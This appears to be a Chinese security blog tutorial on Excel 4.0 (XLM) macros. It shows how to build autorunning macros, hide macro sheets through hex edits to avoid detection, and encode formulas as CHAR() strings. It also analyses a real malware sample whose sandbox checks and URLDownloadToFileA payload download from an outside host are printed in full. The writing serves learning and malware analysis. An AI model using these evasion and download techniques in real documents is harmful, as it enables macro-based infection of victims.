郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

好久没笼统的学习了,梳理下Excel宏相关的东西以防下次要用的时候都不会。

image-20210128134158060

关于宏

据我所知微软office所支持的宏里面,目前有两种

  • 1992年:微软在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。
  • 1993年:微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。

从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。

Macro 4.0

简单利用

在箭头位置点击右键->插入即可使用

image-20210126164024520

接着会出现一个新建的宏表格,我们在表格中添加如下命令,即可完成一个简单的宏

=EXEC("calc.exe")
=ALERT("hello ascotbe~")

1

隐蔽性

可以见到使用XLM宏比常见的VBA宏具有更好的免杀性,主要原因XLM宏和VBA宏的设计理念不同,导致了宏代码在文件结构中的呈现不同,和VBA宏一样的是,在文件打开时,Excel依旧会提醒用户

Because of your security settings, macros have been disabled. To run macros, you need to reopen this workbook, and then choose to enable macros. For more information about enabling macros, click Help.

不同的是,当用户单击启用之后,ALT + F11打开宏代码窗口,却并不能看到宏代码。也不能通过一些常见的宏代码提取工具检测分析宏。

这是因为默认情况下,XLM宏代码存储在ascotbe.xlsm\xl\Macrosheets\Sheet1.xml。打开该xml文件,可以清晰的看到刚才在Excel工作表中插入的宏代码。

image-20210126173824786

自动加载

  • Auto_Open:在用户打开文档的时候自动运行(如果用户允许执行宏代码)
  • Auto_Close:在用户关闭文档的时候自动运行(如果用户允许执行宏代码)

XLM宏只需要将需要执行宏的单元格名称设置为Auto_Open或Auto_Close即可实现宏代码的自动加载。

设置单元格名称

点击一个单元格,然后选着公式->定义的名称->定义名称即可设置成功

演示

没有设置Auto_Close关闭文档,可以看到无任何反应,当我们设置了以后关闭,弹出了计算器和弹窗

2

隐藏方式

简单的隐藏

左下角隐藏,可以通过右键->取消隐藏来显示

image-20210127104310071

列隐藏,可以看到正常都是从A1开始的表格,隐藏了列以后变成了从D1开始了,并且进度条是拉倒最左边的

image-20210127104449564

进制隐藏

这种隐藏方式如果使用xlsm后缀格式的话是无法利用的,但是xls格式是可以的,通过全局搜索字符串sheet1找到后面十六进制是85 00开头的位置,然后往后数九个字节,可以看到框起来的最后一个字节是01

  • 00:表示不隐藏
  • 01:表示浅隐藏(可通过鼠标右键取消隐藏)
  • 02:表示深度隐藏(无法在Excel中找到)

image-20210127181124488

具体效果可以看图

3

一个案例

样本下载地址点我,备份地址下载,下面是样本的截图

img

如何定位该样本的隐藏宏位置

下载项目

https://github.com/DidierStevens/DidierStevensSuite

然后执行以下命令

python oledump.py -p plugin_biff.py --pluginoptions "-o BOUNDSHEET -a" /Users/ascotbe/Downloads/Info_695.xls

image-20210308143858216

可以看到定位到了宏的位置D0 66 02 00 02 01 0A 00,只需要修改第5个字节位置的02即可打开深度隐藏宏

image-20210308144106093

样本分析
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))#检查是否存在鼠标,如果GET.WORKSPACE获取的值为false的话,就执行CLOSE保存关闭表格。if函数第二个参数是判断第一个参数返回值为ture执行位置,第三个参数是判断第一个参数返回值为false执行位置
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))#计算机是否能够播放声音
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))#检查运行Microsoft Excel的环境,然后检查环境的版本号

如果这三个是正确的,则将Excel安全注册表项复制到C:\Users\public\1.reg

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)

接下来,它等待三秒钟。然后它打开1.reg,从字节位置215开始,并读取接下来的255个字节

=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(Q10, 215)
=FREAD(Q10, 255)

提取出来的1.reg内容

image-20210308180750093

1.reg被关闭并删除。然后它在读取的内容(存储在单元格Q12中)中搜索字符串“ 0001”。这是第二次测试,看它是否在沙箱中。如果找到该字符串,它将关闭电子表格。如果找不到字符串“ 0001”,它将尝试下载文件并将其另存为.html文件在**C:\Users\Public\**中。

=FCLOSE(Q10)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",Q12)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)

完整的英文语法文档下载,中文版下载,一个在线的Excel xml宏函数文档里面比官网文档全面

关于注册表reg文件的解释参考这篇博客

最后贴上代码转ASCII代码

a="""xxx"""
for i in a:
#print(ord(i))
print("=CHAR("+str(ord(i))+")")

Macro 5.0

关于VBA宏的制作这里就不概述了,可以参考之前的文章,可以看到word和excel的vba宏是通用的

参考文章

https://clickallthethings.wordpress.com/2020/04/06/covid-19-excel-4-0-macros-and-sandbox-detection/
https://www.yuque.com/p1ut0/qtmgyx/rqank4